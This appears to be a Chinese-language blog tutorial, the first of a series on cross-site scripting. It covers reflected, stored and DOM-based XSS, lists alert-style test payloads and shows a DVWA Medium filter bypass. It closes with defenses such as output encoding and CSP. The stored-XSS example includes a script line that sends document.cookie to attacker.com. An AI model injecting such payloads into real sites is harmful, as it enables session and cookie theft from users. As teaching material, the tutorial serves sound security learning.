XSS第1篇:XSS原理与基本类型

什么是XSS?

XSS(Cross-Site Scripting) 跨站脚本攻击,是一种代码注入攻击。攻击者在网页中注入恶意JavaScript代码,当用户浏览该网页时,恶意代码会在用户浏览器中执行。

危害:

  • 窃取用户Cookie/Session
  • 钓鱼攻击
  • 键盘记录
  • 篡改网页内容
  • 传播蠕虫病毒

XSS原理

反射型XSS示例

<!-- 搜索功能:search.php?q=关键词 -->
<p>搜索结果:关键词</p>

<!-- 攻击者输入:<script>alert(1)</script> -->
<!-- 页面变成: -->
<p>搜索结果:<script>alert(1)</script></p>

<!-- 用户访问时,恶意脚本执行 -->

存储型XSS示例

// 留言板:攻击者提交恶意脚本
// 留言内容:<script>fetch('http://attacker.com?cookie='+document.cookie)</script>

// 其他用户访问留言板时,脚本自动执行

XSS三种基本类型

1. 反射型XSS(Reflected XSS)

特点:

  • 恶意代码不存储在服务器端
  • 需要诱导用户点击恶意链接
  • 一次性攻击

常见位置:

  • 搜索框
  • URL参数
  • 表单提交

示例:

http://example.com/search?q=<script>alert(1)</script>

2. 存储型XSS(Stored XSS)

特点:

  • 恶意代码存储在服务器端
  • 长期危害所有访问者
  • 危害最大

常见位置:

  • 评论区
  • 留言板
  • 用户资料

攻击流程:

  1. 攻击者提交恶意脚本 → 存储到数据库
  2. 其他用户访问页面 → 加载恶意脚本
  3. 恶意脚本执行 → 窃取Cookie/执行操作

3. DOM型XSS(DOM-based XSS)

特点:

  • 完全在客户端执行
  • 不经过服务器端
  • 基于DOM操作

示例代码:

// 页面中的JavaScript
var pos = URL.indexOf("msg=");
var msg = decodeURIComponent(URL.substr(pos + 4));
document.write(msg);

// 攻击输入:msg=<img src=x onerror=alert(1)>

如何发现XSS漏洞?

1. 手动测试

测试payload:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

测试步骤:

  1. 找到所有输入点(参数、表单、URL)
  2. 插入测试payload
  3. 检查是否被执行

2. 常用标签

标签 Payload示例
<script> <script>alert(1)</script>
<img> <img src=x onerror=alert(1)>
<svg> <svg onload=alert(1)>
<body> <body onload=alert(1)>
<iframe> <iframe src=javascript:alert(1)>

3. 事件属性

事件 说明
onload 加载完成
onerror 加载错误
onmouseover 鼠标悬停
onfocus 获取焦点

实战:DVWA Medium级别

题目代码

// Medium级别
$_GET['name'] = str_replace('<script>', '', $_GET['name']);
?>
<input name="name" value="<?php echo $_GET['name']; ?>">

绕过方法

由于过滤了<script>标签,可以使用其他标签:

方法1:img标签

<img src=x onerror=alert(1)>

方法2:body标签

<body onload=alert(1)>

方法3:svg标签

<svg onload=alert(1)>

防御方法(预习)

1. 输入过滤

$name = preg_replace("/<script>/i", "", $name);
$name = preg_replace("/<img/i", "", $name);

2. 输出编码

htmlspecialchars($name, ENT_QUOTES, 'UTF-8');

3. 内容安全策略(CSP)

Content-Security-Policy: script-src 'self'

posted on 2026-03-29 20:07  accuber  阅读(21)  评论(0)    收藏  举报

导航